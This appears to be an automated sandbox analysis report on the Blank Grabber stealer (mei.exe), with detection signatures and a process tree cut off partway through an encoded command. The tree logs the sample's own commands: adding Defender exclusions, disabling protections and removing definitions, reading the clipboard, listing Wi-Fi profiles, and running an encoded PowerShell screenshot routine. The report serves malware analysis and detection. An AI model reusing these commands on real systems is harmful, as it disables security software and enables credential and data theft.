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Windows
Analysis Report
mei.exe
Overview
General Information
Detection
Blank Grabber
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Sigma detected: Dot net compiler compiles file from suspicious location
Yara detected Blank Grabber
Yara detected Telegram RAT
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
DLL side loading technique detected
Drops PE files to the startup folder
Drops PE files with a suspicious file extension
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Modifies Windows Defender protection settings
Potential dropper URLs found in powershell memory
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Removes signatures from Windows Defender
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses cmd line tools excessively to alter registry or file data
Uses netsh to modify the Windows network and firewall settings
Very long command line found
Writes or reads registry keys via WMI
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Stores files to the Windows start menu directory
Too many similar processes found
Tries to load missing DLLs
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Classification
- System is w10x64
- mei.exe (PID: 7468 cmdline:
C:\Users\u ser\Deskto p\mei.exe MD5: B5479BF5C97CFA81C02676BB9335AB24) - mei.exe (PID: 7484 cmdline:
C:\Users\u ser\Deskto p\mei.exe MD5: B5479BF5C97CFA81C02676BB9335AB24) - cmd.exe (PID: 7544 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Us ers\user\D esktop\mei .exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7560 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7636 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\User s\user\Des ktop\mei.e xe' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7552 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Set-MpP reference -DisableIn trusionPre ventionSys tem $true -DisableIO AVProtecti on $true - DisableRea ltimeMonit oring $tru e -Disable ScriptScan ning $true -EnableCo ntrolledFo lderAccess Disabled -EnableNet workProtec tion Audit Mode -Forc e -MAPSRep orting Dis abled -Sub mitSamples Consent Ne verSend && powershel l Set-MpPr eference - SubmitSamp lesConsent 2 & "%Pro gramFiles% \Windows D efender\Mp CmdRun.exe " -RemoveD efinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7572 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7676 cmdline:
powershell Set-MpPre ference -D isableIntr usionPreve ntionSyste m $true -D isableIOAV Protection $true -Di sableRealt imeMonitor ing $true -DisableSc riptScanni ng $true - EnableCont rolledFold erAccess D isabled -E nableNetwo rkProtecti on AuditMo de -Force -MAPSRepor ting Disab led -Submi tSamplesCo nsent Neve rSend MD5: 04029E121A0CFA5991749937DD22A1D9) - MpCmdRun.exe (PID: 8420 cmdline:
"C:\Progra m Files\Wi ndows Defe nder\MpCmd Run.exe" - RemoveDefi nitions -A ll MD5: B3676839B2EE96983F9ED735CD044159) - cmd.exe (PID: 7592 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7660 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7760 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7704 cmdline:
C:\Windows \system32\ cmd.exe /c "wmic csp roduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7740 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7840 cmdline:
wmic cspro duct get u uid MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 8008 cmdline:
C:\Windows \system32\ cmd.exe /c "REG QUER Y HKEY_LOC AL_MACHINE \SYSTEM\Co ntrolSet00 1\Control\ Class\{4D3 6E968-E325 -11CE-BFC1 -08002BE10 318}\0000\ DriverDesc 2" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8024 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 8068 cmdline:
REG QUERY HKEY_LOCAL _MACHINE\S YSTEM\Cont rolSet001\ Control\Cl ass\{4D36E 968-E325-1 1CE-BFC1-0 8002BE1031 8}\0000\Dr iverDesc 2 MD5: 227F63E1D9008B36BDBCC4B397780BE4) - cmd.exe (PID: 8092 cmdline:
C:\Windows \system32\ cmd.exe /c "REG QUER Y HKEY_LOC AL_MACHINE \SYSTEM\Co ntrolSet00 1\Control\ Class\{4D3 6E968-E325 -11CE-BFC1 -08002BE10 318}\0000\ ProviderNa me 2" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8108 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 8152 cmdline:
REG QUERY HKEY_LOCAL _MACHINE\S YSTEM\Cont rolSet001\ Control\Cl ass\{4D36E 968-E325-1 1CE-BFC1-0 8002BE1031 8}\0000\Pr oviderName 2 MD5: 227F63E1D9008B36BDBCC4B397780BE4) - cmd.exe (PID: 8168 cmdline:
C:\Windows \system32\ cmd.exe /c "wmic pat h win32_Vi deoControl ler get na me" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8184 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7256 cmdline:
wmic path win32_Vide oControlle r get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 2724 cmdline:
C:\Windows \system32\ cmd.exe /c "wmic pat h win32_Vi deoControl ler get na me" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5500 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 5996 cmdline:
wmic path win32_Vide oControlle r get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 7456 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Pr ogramData\ Microsoft\ Windows\St art Menu\P rograms\St artUp\ . scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7460 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7772 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\Prog ramData\Mi crosoft\Wi ndows\Star t Menu\Pro grams\Star tUp\ .sc r' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7736 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8056 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 8100 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7788 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7836 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7292 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 8048 cmdline:
C:\Windows \system32\ cmd.exe /c "WMIC /No de:localho st /Namesp ace:\\root \SecurityC enter2 Pat h Antiviru sProduct G et display Name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7944 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 5796 cmdline:
WMIC /Node :localhost /Namespac e:\\root\S ecurityCen ter2 Path AntivirusP roduct Get displayNa me MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 8040 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Get-Cli pboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8148 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5804 cmdline:
powershell Get-Clipb oard MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 8112 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8132 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7388 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7804 cmdline:
C:\Windows \system32\ cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7684 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tree.com (PID: 2200 cmdline:
tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0) - cmd.exe (PID: 7752 cmdline:
C:\Windows \system32\ cmd.exe /c "netsh wl an show pr ofile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7976 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 8028 cmdline:
netsh wlan show prof ile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB) - cmd.exe (PID: 7724 cmdline:
C:\Windows \system32\ cmd.exe /c "systemin fo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7924 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - systeminfo.exe (PID: 2500 cmdline:
systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 7916 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll.exe -No Profile -E xecutionPo licy Bypas s -Encoded Command JA BzAG8AdQBy AGMAZQAgAD 0AIABAACIA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtADsA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtAC4A QwBvAGwAbA BlAGMAdABp AG8AbgBzAC 4ARwBlAG4A ZQByAGkAYw A7AA0ACgB1 AHMAaQBuAG cAIABTAHkA cwB0AGUAbQ AuAEQAcgBh AHcAaQBuAG cAOwANAAoA dQBzAGkAbg BnACAAUwB5 AHMAdABlAG 0ALgBXAGkA bgBkAG8Adw BzAC4ARgBv AHIAbQBzAD sADQAKAA0A CgBwAHUAYg BsAGkAYwAg AGMAbABhAH MAcwAgAFMA YwByAGUAZQ BuAHMAaABv AHQADQAKAH sADQAKACAA IAAgACAAcA B1AGIAbABp AGMAIABzAH QAYQB0AGkA YwAgAEwAaQ BzAHQAPABC AGkAdABtAG EAcAA+ACAA QwBhAHAAdA B1AHIAZQBT AGMAcgBlAG UAbgBzACgA KQANAAoAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAdg BhAHIAIABy AGUAcwB1AG wAdABzACAA PQAgAG4AZQ B3ACAATABp AHMAdAA8AE IAaQB0AG0A YQBwAD4AKA ApADsADQAK ACAAIAAgAC AAIAAgACAA IAB2AGEAcg AgAGEAbABs AFMAYwByAG UAZQBuAHMA IAA9ACAAUw BjAHIAZQBl AG4ALgBBAG wAbABTAGMA cgBlAGUAbg BzADsADQAK AA0ACgAgAC AAIAAgACAA IAAgACAAZg BvAHIAZQBh AGMAaAAgAC gAUwBjAHIA ZQBlAG4AIA BzAGMAcgBl AGUAbgAgAG kAbgAgAGEA bABsAFMAYw ByAGUAZQBu AHMAKQANAA oAIAAgACAA IAAgACAAIA AgAHsADQAK ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgAHQAcgB5 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAF IAZQBjAHQA YQBuAGcAbA BlACAAYgBv AHUAbgBkAH MAIAA9ACAA cwBjAHIAZQ BlAG4ALgBC AG8AdQBuAG QAcwA7AA0A CgAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHUAcw BpAG4AZwAg ACgAQgBpAH QAbQBhAHAA IABiAGkAdA BtAGEAcAAg AD0AIABuAG UAdwAgAEIA aQB0AG0AYQ BwACgAYgBv AHUAbgBkAH MALgBXAGkA ZAB0AGgALA AgAGIAbwB1 AG4AZABzAC 4ASABlAGkA ZwBoAHQAKQ ApAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg AHsADQAKAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAB1AHMAaQ BuAGcAIAAo AEcAcgBhAH AAaABpAGMA cwAgAGcAcg BhAHAAaABp AGMAcwAgAD 0AIABHAHIA YQBwAGgAaQ BjAHMALgBG AHIAbwBtAE kAbQBhAGcA ZQAoAGIAaQ B0AG0AYQBw ACkAKQANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgAGcA cgBhAHAAaA BpAGMAcwAu AEMAbwBwAH kARgByAG8A bQBTAGMAcg BlAGUAbgAo AG4AZQB3AC AAUABvAGkA bgB0ACgAYg BvAHUAbgBk AHMALgBMAG UAZgB0ACwA IABiAG8AdQ BuAGQAcwAu AFQAbwBwAC kALAAgAFAA bwBpAG4AdA AuAEUAbQBw AHQAeQAsAC AAYgBvAHUA bgBkAHMALg BTAGkAegBl ACkAOwANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAH0ADQ AKAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAcgBlAHMA dQBsAHQAcw AuAEEAZABk ACgAKABCAG kAdABtAGEA cAApAGIAaQ B0AG0AYQBw AC4AQwBsAG 8AbgBlACgA KQApADsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAYwBh AHQAYwBoAC AAKABFAHgA YwBlAHAAdA